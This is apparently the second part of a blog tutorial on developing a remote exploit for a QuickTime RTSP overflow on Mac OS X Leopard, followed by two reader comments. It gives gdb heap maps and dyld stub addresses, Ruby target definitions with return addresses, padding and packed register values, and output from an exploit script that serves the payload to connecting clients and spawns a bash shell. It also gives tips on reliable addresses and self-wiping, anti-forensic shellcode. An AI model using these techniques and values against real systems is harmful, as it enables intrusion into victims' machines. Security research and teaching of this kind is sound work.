Make sure you have read the first part of this article already!
From the XNU 9.0 source code, we have some interesting snippets around:
896 /* load_machfile() maps the vnode */ 897 (void)ubc_map(imgp->ip_vp, PROT_READ | PROT_EXEC);
538 #ifdef notyet 539 /* Hmm .. */ 540 #if defined(VM_PROT_READ_IS_EXEC) 541 if (prot & VM_PROT_READ) 542 prot |= VM_PROT_EXECUTE; 543 if (maxprot & VM_PROT_READ) 544 maxprot |= VM_PROT_EXECUTE; 545 #endif 546 #endif /* notyet */ 547 548 #if 3777787 549 if (prot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 550 prot |= VM_PROT_READ; 551 if (maxprot & (VM_PROT_EXECUTE | VM_PROT_WRITE)) 552 maxprot |= VM_PROT_READ; 553 #endif /* radar 3777787 */
Pay attention to the VM_PROT_EXECUTE flag. Let’s get back to the exploit development: we have reliable EIP control and we can most probably make use of return to libSystem (good old ret2libc) or jump into heap. But Leopard randomizes some library addresses… Let’s see how the process memory layout looks like for Quicktime:
(gdb) shell vmmap 18909 | grep MALLOC MALLOC (freed?) 00122000-00123000 [ 4K] rw-/rwx SM=COW MALLOC_LARGE 00124000-0012a000 [ 24K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0012d000-0012e000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00135000-0013e000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 00200000-00300000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 003bf000-003ca000 [ 44K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 003f9000-00401000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 00405000-00406000 [ 4K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 0042f000-00459000 [ 168K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_LARGE 007ee000-007f7000 [ 36K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_SMALL 00800000-01000000 [ 8192K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 1450f000-14517000 [ 32K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC_TINY 14900000-14a00000 [ 1024K] rw-/rwx SM=COW DefaultMallocZone_0x200000 MALLOC_LARGE 15d1d000-15d27000 [ 40K] rw-/rwx SM=PRV DefaultMallocZone_0x200000 MALLOC [ 10.4M]
The Mac OS X implementation of malloc() has been explained extensively in one of the issues of the Phrack magazine. It’s out of the scope of this article to explain its design, but it’s worth mentioning how heap tricks can help to find a more stable location for our shellcode.
Quicktime makes extensive use of dynamically allocated memory, like most multimedia applications. Again, read the permission flags associated to each memory region: they seem to be rather permissive…
Our response is likely stored or replicated in heap space, and that’s where we should start looking for a reliable return address or point to jump at our shellcode. A reliable exploit must always try to:
- Use (almost) static addresses or offsets that remain stable across instances or different executions of the software.
- If the target is a web browser plugin, would the exploit work if multiple tabs or browser instances have loaded the plugin?
- If it’s a remote service, does the required address represent that of a loaded module or belongs to the daemon binary itself?
- Never rely on extraneous settings or non-default configuration.
- That includes big *** UDP packets that will be promptly filtered by any decent gateway.
- Attempt, as much as possible, to restore or repair the process status after execution of our shellcode:
- Use valid or non-critical addresses for register values or anything requiring them.
- Restore frames necessary to continue execution.
- Clean any left-over memory or allocated data we have used (normally this is oriented towards anti-forensics).
- Shellcode that wipes itself off memory is elegant and popular among experienced exploit developers (quite a few Chinese guys for instance).
- Using Metasploit-baked shellcode is not that elegant… (although it’s perfect as a starting point).
- We know that distributing custom shellcode is not a good idea. There are several organizations interested on profiling you based on such information. You may as well stop posting to full-disclosure.
- If it’s not possible, consider re-spawning the process with the same arguments, environment and configuration.
McNasty and the amazing dyld stubs (reliable on Tiger)
Every platform has its own quirks for making exploits more reliable. Mac OS X is no exception. From the Mac OS X ABI Dynamic Loader Reference:
The
dyldstub binding helper is a glue function that assists the dynamic linker in lazily binding an external function. When the compiler sees a call to an external function, it generates a symbol stub and a lazy pointer for the function. At the call site, the compiler generates a call to the symbol stub. The symbol stub is a sequence of code that loads the lazy pointer and jumps to it.
Some examples of stubs, found for Quicktime in a clean, up-to-date installation of Leopard:
0xa0a36c07 <dyld_stub_system>: jmp 0×91bbf3a4 <system> 0xa0a36c0c <dyld_stub_time>: jmp 0×91b5f7cf <time> 0xa0a36c11 <dyld_stub_timegm>: jmp 0×91b97f84 <timegm> 0xa0a36c16 <dyld_stub_tzset>: jmp 0×91b723ea <tzset> 0xa0a36c1b <dyld_stub_usleep>: jmp 0×91ba9942 <usleep> 0xa0a42037 <dyld_stub_mprotect>: jmp 0×91bb02bf <mprotect>
Basically when one of the stubs gets called, it jumps to the right location of the specific external function. Arguments and any other variables will be processed there. For our purposes, this is a similar technique to the classical return-to-libc. With a hop in-between.
The stub is simply a placeholder.
Let’s see what happens when we use the address of the exit() dyld stub (dyld_stub_exit) as our return address:
gdb) x/x dyld_stub_exit 0xa0a7e44a <dyld_stub_exit>: 0×0dc3e0e9
The correct target information for the exit() stub (at 0xa0a7e44a):
"7.3-Mac 10.5.1-IA32" => {
:ret_address => 0xa0a7e44a,
:padding_size => 291,
:prepend_data => (
[0×11223344].pack(”V”) + # ebx
[0xbabebeef].pack(”V”) + # esi
[0×31337666].pack(”V”) + # edi
[0xdefacedd].pack(”V”) # ebp
),
The exploit listens for connections, and sends the payload once a vulnerable client connects:
qtimertsp_redux.rb: Return address: 0xa0a7e44a, shellcode: 10 bytes. qtimertsp_redux.rb: Payload: 315 bytes (padding=gggggg...=0x67)
Quicktime process exits cleanly!
Reading symbols for shared libraries + done Program exited with code 0163. (gdb)
Obviously, exiting the process isn’t useful. Not until we have done something more productive with the execution flow… and we need a flexible way to execute our shellcode or a command of our choice. We have some possibilities:
- Use
mprotect()to make the stack executable and then jump on the shellcode there. - Use
system()to execute commands. This is limited to the software available locally, therefore we should try to download some binary withcurland then execute it.
Apparently, we are better off using shellcode to perform whatever operations we require (binding a shell, staging more complex functionality…). The infamous Month of Apple Bugs released an exploit using an old style return-to-libc technique with system(). We are instead using the dyld stubs that in some cases remain stable (later on, they will change when a new dyld cache is built, this is documented):
When the cache is built, the addresses of the dylibs are intentionally randomized, thus when debugging you may notice that the address of OS routines like malloc is different on every machine.
That means, unlike for Tiger, Leopard payloads will either work on a specific installation or only in clean, recently installed systems (we are still investigating the extent of the ASLR functionality). We observed that two different installations of Leopard (thanks to Kevin Finisterre for testing it as well) had the same stub addresses once, during the early stages of development (we haven’t been able to reproduce this again).
After updating our code and searching the process memory for potential static addresses to place our command string or use an existent one, we found the ever handy /bin/bash (which in this case, serves as simple demonstration):
Starting program: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player Reading symbols for shared libraries . done 2007-11-26 02:53:25.858 QuickTime Player[21161:813] .scriptSuite warning for argument 'UsingDescriptors' of command 'SaveReferenceMovie' in suite 'QTPSuite': 'list' is not a valid type name. bash-3.2$ exit exit Breakpoint 1, 0xa0a7e44a in dyld_stub_exit ()
And the code behind the magic: first the return address pointing to the system() dyld stub, then the address to the exit() stub and finally the address to the command string for system().
[0xa0a7e44a].pack("V") + # saved eip -> dyld_stub_exit
[0xbffffaa3].pack("V") # stable address to /bin/bash
Now, we are trying to use our own command string: it’s time to look for a stable location (the following addresses might differ from that of the publicly released exploit):
1: 0087871D 0087C31D 008B719F BFFFD1B3 2: 0088CF1D 0088DD1D 0089599F BFFFD1B3 3: 0087871D 0087C31D 008B719F BFFFD1B3 4: 0089ED1D 008BEF1D 008C599F BFFFD1B3
We have a problem: the addresses change in a manner that is not suitable for our particular technique. Why? Because we don’t have the possibility of using a useful NOP sled.
We need an exact address for our command.
And NULL bytes are also problematic. There’s one specific address that didn’t change there, and doesn’t contain filtered characters; after using it, we realized it wasn’t stable enough for different environments. This illustrates so far the process of developing an exploit using the return to dyld stub technique. Finding a reliable address for our string will most likely be the only difficulty in the process.
Some tips:
- The environment variables usually stay static. If you are able to either poison an environment variable or use existent data from it (for example the
/bin/bashstring), take advantage of it! - If you can send more than just a few hundred bytes, try to send a long pattern you can trace in memory and detect places where it has been replicated. You might be lucky and find heap regions containing your data, in more or less static positions. Metasploit can automate this (with the pattern generation methods).
- If it doesn’t work during the first tests, keep trying. In many platforms, a debugged program performs memory allocation differently when it’s being debugged. The environment is slightly different (as an exercise, look for the location of different variables when starting the program from Terminal, a Dock icon or gdb itself).
- Spend some time working on a process manipulation tool that automates these tasks!
“A process cannot be understood by stopping it. Understanding must move with the flow of the process, must join it and flow with it.” Dune (1965) by Frank Herbert
The End
Hopefully it was entertaining to walk through the exploit development process, and you had fun playing around! Security can’t be approached with text book knowledge, it’s something you have to experiment and research on your own. Since we believe there’s a need for documenting Mac OS X security, from a technical perspective, we are conducting some efforts for producing a helpful resource to understand exploit development and techniques for this platform. It might take some time but we promise it’s worth waiting.
“Any path that narrows future possibilities may become a lethal trap.” Children of Dune (1976) by Frank Herbert
Thanks for reading!






















2 comments ↓
Prior to my activating stealth mode in 10.5.1 on a G5 it appears that I was attacked (very probably via this exploit) at one of the following URLs…
http://www.hackerwatch.org/probe/
http://www.pcflank.com/ (choose “Advanced Port Scanner” in the left column navbar)
https://www.grc.com/x/ne.dll?bh0bkyd2
I have been using Macs for ten years and have never had my system act up the way it did immediately after having my ports scanned at the above URLs.
Examples: Mail launched automatically after reboots (though I do not have it set to launch at startups). My Apple Bluetooth keyboard became unusable at startups (i.e. no key functions would work) so I had to reinstall QuickTime 7.3 to get it functioning properly again. Menus took 10-15 seconds to appear after being clicked on and in general the entire system virtually came to a halt. I have never had a problem like this EVER before.
Those services doubtfully have anything to do with the annoyances you are experiencing, and exactly the same happens for the Quicktime vulnerability. If you have been compromised with it, the safest option is doing a fresh install again and don’t use any applications or executable binaries from the old installation.
It would be funny to see Steve Gibson attacking Macs, though.
Leave a Comment